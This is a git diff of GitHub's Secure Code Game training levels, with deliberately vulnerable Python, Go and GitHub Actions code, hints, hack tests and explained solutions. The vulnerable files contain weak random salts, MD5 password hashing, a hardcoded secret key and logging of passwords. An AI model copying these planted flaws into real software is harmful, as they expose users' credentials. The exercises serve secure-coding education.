+ query_2 = "[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0) "
+ expected_output = query_1 + query_2
+ actual_output = op.exec_multi_query("SELECT price FROM stocks WHERE symbol = 'MSFT'; SELECT * FROM stocks WHERE symbol = 'MSFT'")
+ self.assertEqual(actual_output, expected_output)
+
+ # tests for correct execution of user script
+ def test_6(self):
+ op = c.DB_CRUD_ops()
+ expected_output = "[METHOD EXECUTED] exec_user_script\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)"
+ actual_output = op.exec_user_script("SELECT price FROM stocks WHERE symbol = 'MSFT'")
+ self.assertEqual(actual_output, expected_output)
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-5/code.py b/Season-1/Level-5/code.py
new file mode 100644
index 0000000..dd4e6a2
--- /dev/null
+++ b/Season-1/Level-5/code.py
@@ -0,0 +1,59 @@
+# Welcome to Secure Code Game Season-1/Level-5!
+
+# This is the last level of our first season, good luck!
+
+import binascii
+import random
+import secrets
+import hashlib
+import os
+import bcrypt
+
+class Random_generator:
+
+ # generates a random token
+ def generate_token(self, length=8, alphabet=(
+ '0123456789'
+ 'abcdefghijklmnopqrstuvwxyz'
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+ )):
+ return ''.join(random.choice(alphabet) for _ in range(length))
+
+ # generates salt
+ def generate_salt(self, rounds=12):
+ salt = ''.join(str(random.randint(0, 9)) for _ in range(21)) + '.'
+ return f'$2b${rounds}${salt}'.encode()
+
+class SHA256_hasher:
+
+ # produces the password hash by combining password + salt because hashing
+ def password_hash(self, password, salt):
+ password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
+ password_hash = bcrypt.hashpw(password, salt)
+ return password_hash.decode('ascii')
+
+ # verifies that the hashed password reverses to the plain text version on verification
+ def password_verification(self, password, password_hash):
+ password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
+ password_hash = password_hash.encode('ascii')
+ return bcrypt.checkpw(password, password_hash)
+
+class MD5_hasher:
+
+ # same as above but using a different algorithm to hash which is MD5
+ def password_hash(self, password):
+ return hashlib.md5(password.encode()).hexdigest()
+
+ def password_verification(self, password, password_hash):
+ password = self.password_hash(password)
+ return secrets.compare_digest(password.encode(), password_hash.encode())
+
+# a collection of sensitive secrets necessary for the software to operate
+PRIVATE_KEY = os.environ.get('PRIVATE_KEY')
+PUBLIC_KEY = os.environ.get('PUBLIC_KEY')
+SECRET_KEY = 'TjWnZr4u7x!A%D*G-KaPdSgVkXp2s5v8'
+PASSWORD_HASHER = 'MD5_hasher'
+
+
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
\ No newline at end of file
diff --git a/Season-1/Level-5/hack.py b/Season-1/Level-5/hack.py
new file mode 100644
index 0000000..71cc977
--- /dev/null
+++ b/Season-1/Level-5/hack.py
@@ -0,0 +1,7 @@
+# For this level check the CodeQL alerts produced by GitHub code scanning.
+
+# Enable CodeQL [Text]: https://github.co/3rOmI2k
+# Enable CodeQL [Video]: https://youtu.be/MdRvrbExaFk
+# Learn more: https://codeql.github.com/
+
+# Is it enough though for the code to be 100% secure? ;)
\ No newline at end of file
diff --git a/Season-1/Level-5/hint.txt b/Season-1/Level-5/hint.txt
new file mode 100644
index 0000000..11b6926
--- /dev/null
+++ b/Season-1/Level-5/hint.txt
@@ -0,0 +1,3 @@
+Does the code:
+a) reinvent the wheel or
+b) is using cryptographically approved libraries?
\ No newline at end of file
diff --git a/Season-1/Level-5/solution.py b/Season-1/Level-5/solution.py
new file mode 100644
index 0000000..6a2c73b
--- /dev/null
+++ b/Season-1/Level-5/solution.py
@@ -0,0 +1,65 @@
+import binascii
+import secrets
+import hashlib
+import os
+import bcrypt
+
+class Random_generator:
+
+ # generates a random token using the secrets library for true randomness
+ def generate_token(self, length=8, alphabet=(
+ '0123456789'
+ 'abcdefghijklmnopqrstuvwxyz'
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+ )):
+ return ''.join(secrets.choice(alphabet) for i in range(length))
+
+ # generates salt using the bcrypt library which is a safe implementation
+ def generate_salt(self, rounds=12):
+ return bcrypt.gensalt(rounds)
+
+class SHA256_hasher:
+
+ # produces the password hash by combining password + salt because hashing
+ def password_hash(self, password, salt):
+ password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
+ password_hash = bcrypt.hashpw(password, salt)
+ return password_hash.decode('ascii')
+
+ # verifies that the hashed password reverses to the plain text version on verification
+ def password_verification(self, password, password_hash):
+ password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
+ password_hash = password_hash.encode('ascii')
+ return bcrypt.checkpw(password, password_hash)
+
+# a collection of sensitive secrets necessary for the software to operate
+PRIVATE_KEY = os.environ.get('PRIVATE_KEY')
+PUBLIC_KEY = os.environ.get('PUBLIC_KEY')
+SECRET_KEY = os.environ.get('SECRET_KEY')
+PASSWORD_HASHER = 'SHA256_hasher'
+
+# Solution explanation:
+
+# Some mistakes are basic, like choosing a cryptographically-broken algorithm
+# or committing secret keys directly in your source code.
+
+# You are more likely to fall for something more advanced, like using functions that
+# seem random but produce a weak randomness.
+
+# The code suffers from:
+# - reinventing the wheel by generating salt manually instead of calling gensalt()
+# - not utilizing the full range of possible salt values
+# - using the random module instead of the secrets module
+
+# Notice that we used the “random” module, which is designed for modeling and simulation,
+# not for security or cryptography.
+
+# A good practice is to use modules specifically designed and, most importantly,
+# confirmed by the security community as secure for cryptography-related use cases.
+
+# To fix the code, we used the “secrets” module, which provides access to the most secure
+# source of randomness on my operating system. I also used functions for generating secure
+# tokens and hard-to-guess URLs.
+
+# Other python modules approved and recommended by the security community include argon2
+# and pbkdf2.
\ No newline at end of file
diff --git a/Season-1/Level-5/tests.py b/Season-1/Level-5/tests.py
new file mode 100644
index 0000000..12174e7
--- /dev/null
+++ b/Season-1/Level-5/tests.py
@@ -0,0 +1,20 @@
+import unittest
+import code as c
+
+class TestCrypto(unittest.TestCase):
+
+ # verifies that hash and verification are matching each other for SHA
+ def test_1(self):
+ rd = c.Random_generator()
+ sha256 = c.SHA256_hasher()
+ pass_ver = sha256.password_verification("abc", sha256.password_hash("abc",rd.generate_salt()))
+ self.assertEqual(pass_ver, True)
+
+ # verifies that hash and verification are matching each other for MD5
+ def test_2(self):
+ md5 = c.MD5_hasher()
+ md5_hash = md5.password_verification("abc", md5.password_hash("abc"))
+ self.assertEqual(md5_hash, True)
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/README.md b/Season-1/README.md
new file mode 100644
index 0000000..444ff8c
--- /dev/null
+++ b/Season-1/README.md
@@ -0,0 +1,215 @@
+# Secure Code Game
+
+_Welcome to Secure Code Game - Season 1!_ :wave:
+
+To get started, please follow the 🛠️ set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame).
+
+## Season 1 - Level 1: Cyber Monday
+
+_Welcome to Level 1!_ :chess_pawn:
+
+Languages: `python3`
+
+We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+
+### 📝 Storyline
+
+A few days before the massive shopping event Cyber Monday, an electronics shop without an online presence rushed to create a website to reach a broader customer base. As a result, they spent all their budget on development without investing in security. Do you have what it takes to fix the bug and progress to Level 2?
+
+### :keyboard: What's in the repo?
+
+For each level, you will find the same file structure:
+
+- `code` includes the vulnerable code to be reviewed.
+- `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass.
+- `hint` offers a hint if you get stuck.
+- `solution` provides one working solution. There are several possible solutions.
+- `tests` contains the unit tests that should still pass after you have implemented your fix.
+
+### 🚦 Time to start!
+
+1. Review the code in `code.py`. Can you spot the bug(s)?
+1. Try to fix the bug. Ensure that unit tests are still passing 🟢.
+1. You successfully completed the level when both `hack.py` and `tests.py` pass 🟢.
+1. If you get stuck, read the hint in the `hint.js` file.
+1. Compare your solution with `solution.py`.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## Season 1 - Level 2: Matrix
+
+_You have completed Level 1: Cyber Monday! Welcome to Level 2: Matrix_ :tada:
+
+Languages: `C`
+
+We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+
+### 📝 Storyline
+
+At the time "The Matrix" was first released in 1999, programming was different. In the movie, a computer programmer named Thomas "Neo" Anderson leads the fight in an underground war against powerful computers who have constructed his entire reality with a system called the Matrix. Do you have what it takes to win that war and progress to Level 3?
+
+### :keyboard: What's in the repo?
+
+For each level, you will find the same file structure:
+
+- `code` includes the vulnerable code to be reviewed.
+- `hack` exploits the vulnerabilities in `code`. Running `hack.c` will fail initially, your goal is to get this file to pass 🟢.
+- `hint` offers a hint if you get stuck.
+- `solution` provides one working solution. There are several possible solutions.
+- `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
+
+### 🚦 Time to start!
+
+1. Review the code in `code.h`. Can you spot the bug(s)?
+1. Try to fix the bug. Ensure that unit tests are still passing.
+1. The level is completed successfully when both `hack.c` and `tests.c` pass 🟢.
+1. If you get stuck, read the hint in the `hint.txt` file.
+1. Compare your solution with `solution.c`.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## Season 1 - Level 3: Social Network
+
+_Nice work finishing Level 2: Matrix! It's now time for Level 3: Social Network_ :sparkles:
+
+Languages: `python3`
+
+We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+
+### 📝 Storyline
+
+The following fictitious story takes place in the mid-2030s. Authorities worldwide have become more digitized. Various governments are adapting social network technology to fight crime. The goal is to establish local communities that foster collaboration by supporting citizens with government-related questions. Other features include profile pictures, hashtags, real-time support in comments, and public tip sharing. Do you have what it takes to secure the social network and progress to Level 4?
+
+### :keyboard: Setup instructions
+
+- For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
+
+### :keyboard: What's in the repo?
+
+For each level, you will find the same file structure:
+
+- `code` includes the vulnerable code to be reviewed.
+- `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢.
+- `hint` offers a hint if you get stuck.
+- `solution` provides one working solution. There are several possible solutions.
+- `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
+
+### 🚦 Time to start!
+
+1. Review the code in `code.py`. Can you spot the bug(s)?
+1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
+1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢.
+1. If you get stuck, read the hint and try again.
+1. If you need more guidance, read the CodeQL scanning alerts.
+1. Compare your solution to `solution.py`.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## Season 1 - Level 4: Data Bank
+
+_Nicely done! Level 3: Social Network from Season 1 is complete. It's time for Level 4: Database_ :partying_face:
+
+Languages: `python3`, `sql`
+
+We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+
+### 📝 Storyline
+
+Databases are essential for our applications. However, malicious actors only need one entry point to exploit a database, so defenders must continuously protect all entry points. Can you secure them all?
+
+### :keyboard: Setup instructions
+
+For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
+
+### :keyboard: What's in the repo?
+
+For each level, you will find the same file structure:
+
+- `code` includes the vulnerable code to be reviewed.
+- `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢.
+- `hint` offers a hint if you get stuck.
+- `solution` provides one working solution. There are several possible solutions.
+- `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
+
+### 🚦 Time to start!
+
+1. Review the code in `code.py`. Can you spot the bug(s)?
+1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
+1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢.
+1. If you get stuck, read the hint and try again.
+1. If you need more guidance, read the CodeQL scanning alerts.
+1. Compare your solution to `solution.py`.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## Season 1 - Level 5: Locanda
+
+_Almost there! One level to go and complete Season 1!_ :heart:
+
+Languages: `python3`
+
+We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+
+### 📝 Storyline
+
+It's a common myth that passwords should be complex. In reality, it's more important that passwords are long. Some people choose phrases as their passwords. Users should avoid common expressions from movies, books, or songs to safeguard against dictionary attacks. Your password may be strong, but for this exercise, a website you have registered with has made a fatal but quite common mistake. Can you spot and fix the bug? Good luck!
+
+### :keyboard: Setup instructions
+
+For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
+
+### :keyboard: What's in the repo?
+
+For each level, you will find the same file structure:
+
+- `code` includes the vulnerable code to be reviewed.
+- `hack` exploits the vulnerabilities in `code`. In this level, this file is inactive.
+- `hint` offers a hint if you get stuck.
+- `solution` provides one working solution. There are several possible solutions.
+- `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
+
+### 🚦 Time to start!
+
+1. Review the code in `code.py`. Can you spot the bug(s)?
+1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
+1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) `tests.py` pass 🟢. Notice that `hack.py` in this level is inactive.
+1. If you get stuck, read the hint and try again.
+1. If you need more guidance, read the CodeQL scanning alerts.
+1. Compare your solution to `solution.py`.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## Finish
+
+_Congratulations, you've completed Season 1! Ready for Season 2?_
+
+Here's a recap of all the tasks you've accomplished:
+
+- You practiced secure code principles by spotting and fixing vulnerable patterns in real-world code.
+- You assessed your solutions against exploits developed by GitHub Security Lab experts.
+- You utilized GitHub code scanning features and understood the security alerts generated against your code.
+
+### What's next?
+
+- Follow [GitHub Security Lab](https://twitter.com/ghsecuritylab) for the latest updates and announcements about this course.
+- Play Season 2 with new levels in `javascript`, `go`, `python3` and `GitHub Actions`!
+- Contribute new levels to the game in 3 simple steps! Read our [Contribution Guideline](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
+- Share your feedback and ideas in our [Discussions](https://github.com/skills/secure-code-game/discussions) and join our community on [Slack](https://gh.io/securitylabslack).
+- [Take another skills course](https://skills.github.com/).
+- [Read more about code security](https://docs.github.com/en/code-security).
+- To find projects to contribute to, check out [GitHub Explore](https://github.com/explore).
+
+
\ No newline at end of file
diff --git a/Season-2/Level-1/code.yml b/Season-2/Level-1/code.yml
new file mode 100644
index 0000000..d6c7003
--- /dev/null
+++ b/Season-2/Level-1/code.yml
@@ -0,0 +1,11 @@
+# Welcome to Secure Code Game Season-2/Level-1!
+
+# Follow the instructions below to get started:
+
+# Due to the nature of GitHub Actions, please find this level's vulnerable code inside:
+# .github/workflows/jarvis-code.yml
+
+# That is by navigating to:
+# .github/
+# > workflows/
+# > jarvis-code.yml
\ No newline at end of file
diff --git a/Season-2/Level-1/hack.yml b/Season-2/Level-1/hack.yml
new file mode 100644
index 0000000..6c83704
--- /dev/null
+++ b/Season-2/Level-1/hack.yml
@@ -0,0 +1,7 @@
+# Due to the nature of GitHub Actions, please find this level's hack file inside:
+# .github/workflows/jarvis-hack.yml
+
+# That is by navigating to:
+# .github/
+# > workflows/
+# > jarvis-hack.yml
\ No newline at end of file
diff --git a/Season-2/Level-1/hint-1.txt b/Season-2/Level-1/hint-1.txt
new file mode 100644
index 0000000..51d616a
--- /dev/null
+++ b/Season-2/Level-1/hint-1.txt
@@ -0,0 +1,4 @@
+Have a look inside .github/workflows/jarvis-code.yml
+A GitHub Action is being used, can we trust it?
+
+Try again, without reading hint-2.txt ;-)
\ No newline at end of file
diff --git a/Season-2/Level-1/hint-2.txt b/Season-2/Level-1/hint-2.txt
new file mode 100644
index 0000000..5a2edfb
--- /dev/null
+++ b/Season-2/Level-1/hint-2.txt
@@ -0,0 +1,5 @@
+What impact do new dependancies have on the attack surface of a project?
+
+Do we really need a third-party GitHub Action to check GitHub's availability status?
+
+What if we could use https://www.githubstatus.com/api/v2/status.json without using any dependencies?
\ No newline at end of file
diff --git a/Season-2/Level-1/solution.yml b/Season-2/Level-1/solution.yml
new file mode 100644
index 0000000..8be4a24
--- /dev/null
+++ b/Season-2/Level-1/solution.yml
@@ -0,0 +1,43 @@
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
+
+name: CODE - Jarvis Gone Wrong
+
+on:
+ push:
+ paths:
+ - ".github/workflows/jarvis-code.yml"
+
+jobs:
+ jarvis:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read
+ steps:
+ - name: Check GitHub Status
+ run: |
+ STATUS=$(curl -s https://www.githubstatus.com/api/v2/status.json | jq -r '.status.description')
+ echo "GitHub Status: $STATUS"
+
+
+# Solution Explanation
+
+# There is no doubt that using a GitHub Action from the marketplace can add value to our CI/CD pipeline.
+# As with every expansion, our attack surface grows. In this case, we are both trusting a GitHub Action
+# from a questionable third-party and we are also creating a new dependency for our project.
+
+# Here are some steps to guide our decision-making process, before using a new GitHub Action:
+# 1. For simple tasks, avoid external GitHub Actions because the risk might outweigh the value.
+# 2. Use GitHub Actions from Verified Creators because they follow a strict security review process.
+# 3. Use the latest version of a GitHub Action because it might contain security fixes.
+# 4. Think about GitHub Actions like dependencies: they need to be maintained and updated.
+# 5. Think about disabling or limiting GitHub Actions for your organization(s) in Settings.
+# 6. Have a PR process with multiple reviewers to avoid adding a malicious GitHub Action.
+
+# Learn more:
+# New tool to secure your GitHub Actions: https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/
+# Short video on using third-party GitHub Actions like a PRO: https://www.youtube.com/shorts/eVbXtKylZpo
+# Short video on avoiding injections from malicious GitHub Actions: https://www.youtube.com/shorts/fVxTV5rZxhc
+# Short video on GitHub Actions' secrets privileges: https://www.youtube.com/shorts/1tD7km5jK70
+# Keeping your GitHub Actions and workflows secure: https://www.youtube.com/watch?v=Jn0kfAuJI2o
+# Finding and customizing a GitHub Action: https://docs.github.com/en/actions/learn-github-actions/finding-and-customizing-actions
\ No newline at end of file
diff --git a/Season-2/Level-2/code.go b/Season-2/Level-2/code.go
new file mode 100644
index 0000000..17533c2
--- /dev/null
+++ b/Season-2/Level-2/code.go
@@ -0,0 +1,91 @@
+// Welcome to Secure Code Game Season-2/Level-2!
+
+// Follow the instructions below to get started:
+
+// 1. code_test.go is passing but the code is vulnerable
+// 2. Review the code. Can you spot the bugs(s)?
+// 3. Fix the code.go, but ensure that code_test.go passes
+// 4. Run hack_test.go and if passing then CONGRATS!
+// 5. If stuck then read the hint
+// 6. Compare your solution with solution/solution.go
+
+package main
+
+import (
+ "encoding/json"
+ "log"
+ "net/http"
+ "regexp"
+)
+
+var reqBody struct {
+ Email string `json:"email"`
+ Password string `json:"password"`
+}
+
+func isValidEmail(email string) bool {
+ // The provided regular expression pattern for email validation by OWASP
+ // https://owasp.org/www-community/OWASP_Validation_Regex_Repository
+ emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$`
+ match, err := regexp.MatchString(emailPattern, email)
+ if err != nil {
+ return false
+ }
+ return match
+}
+
+func loginHandler(w http.ResponseWriter, r *http.Request) {
+
+ // Test users
+ var testFakeMockUsers = map[string]string{
+ "user1@example.com": "password12345",
+ "user2@example.com": "B7rx9OkWVdx13$QF6Imq",
+ "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO",
+ "user4@example.com": "Log4Fun",
+ }
+
+ if r.Method == "POST" {
+
+ decode := json.NewDecoder(r.Body)
+ decode.DisallowUnknownFields()
+
+ err := decode.Decode(&reqBody)
+ if err != nil {
+ http.Error(w, "Cannot decode body", http.StatusBadRequest)
+ return
+ }
+ email := reqBody.Email
+ password := reqBody.Password
+
+ if !isValidEmail(email) {
+ log.Printf("Invalid email format: %q", email)
+ http.Error(w, "Invalid email format", http.StatusBadRequest)
+ return
+ }
+
+ storedPassword, ok := testFakeMockUsers[email]
+ if !ok {
+ http.Error(w, "invalid email or password", http.StatusUnauthorized)
+ return
+ }
+
+ if password == storedPassword {
+ log.Printf("User %q logged in successfully with a valid password %q", email, password)
+ w.WriteHeader(http.StatusOK)
+ } else {
+ http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
+ }
+
+ } else {
+ http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
+ }
+}
+
+func main() {
+ http.HandleFunc("/login", loginHandler)
+ log.Print("Server started. Listening on :8080")
+ err := http.ListenAndServe(":8080", nil)
+ if err != nil {
+ log.Fatalf("HTTP server ListenAndServe: %q", err)
+ }
+}
\ No newline at end of file
diff --git a/Season-2/Level-2/code_test.go b/Season-2/Level-2/code_test.go
new file mode 100644
index 0000000..355a678
--- /dev/null
+++ b/Season-2/Level-2/code_test.go
@@ -0,0 +1,134 @@
+// Run code_test.go by following the instructions below:
+
+// This file contains passing tests.
+
+// Run them by opening a terminal and running the following:
+// $ go test -v Season-2/Level-2/code.go Season-2/Level-2/code_test.go
+
+// If 'go' is not found when running the above, install it from:
+// https://go.dev/dl/
+
+package main
+
+import (
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestLoginHandler_ValidCredentials(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusOK {
+ t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
+ }
+}
+
+func TestLoginHandler_InvalidCredentials(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "invalid_password"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusUnauthorized {
+ t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ if respBody != "Invalid Email or Password" {
+ t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody)
+ }
+}
+
+func TestLoginHandler_InvalidEmailFormat(t *testing.T) {
+ reqBody := `{"email": "invalid_email", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid email format"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestLoginHandler_InvalidRequestMethod(t *testing.T) {
+ req, err := http.NewRequest("GET", "/login", nil)
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusMethodNotAllowed {
+ t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid request method"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}`
+
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Cannot decode body"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestMain(m *testing.M) {
+ go func() {
+ main()
+ }()
+
+ time.Sleep(500 * time.Millisecond)
+
+ exitCode := m.Run()
+ os.Exit(exitCode)
+}
\ No newline at end of file
diff --git a/Season-2/Level-2/go.mod b/Season-2/Level-2/go.mod
new file mode 100644
index 0000000..1c84dae
--- /dev/null
+++ b/Season-2/Level-2/go.mod
@@ -0,0 +1,3 @@
+module secure-code-game
+
+go 1.20
\ No newline at end of file
diff --git a/Season-2/Level-2/hack_test.go b/Season-2/Level-2/hack_test.go
new file mode 100644
index 0000000..b70e352
--- /dev/null
+++ b/Season-2/Level-2/hack_test.go
@@ -0,0 +1,100 @@
+// Run hack_test.go by following the instructions below:
+
+// This file exploits the vulnerabilities in code. Running this file will fail initially
+// (it contains failing tests). As all other levels, your goal is to get this file to pass.
+
+// Run hack by opening a terminal and running the following:
+// $ go test -v Season-2/Level-2/code.go Season-2/Level-2/hack_test.go
+
+// As a reminder, to pass this level, both this file alongside code_test.go must pass.
+
+// If 'go' is not found when running the above, install it from:
+// https://go.dev/dl/
+
+package main
+
+import (
+ "bytes"
+ "log"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+)
+
+// If this test fails, please fix the code to prevent user enumeration (code.go)
+func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) {
+ reqBody := `{"email": "invalid@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusUnauthorized {
+ t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid Email or Password"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+// If this test fails, please fix the code to not log sensitive information (code.go)
+func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) {
+ var buf bytes.Buffer
+ log.SetOutput(&buf)
+
+ reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ logOutput := buf.String()
+ expectedRespLog := "Invalid email format"
+ if strings.Contains(logOutput, "in.valid@ex@mple.com") {
+ t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
+ t.Fail()
+ }
+}
+
+// If this test fails, please fix the code to not log sensitive information (code.go)
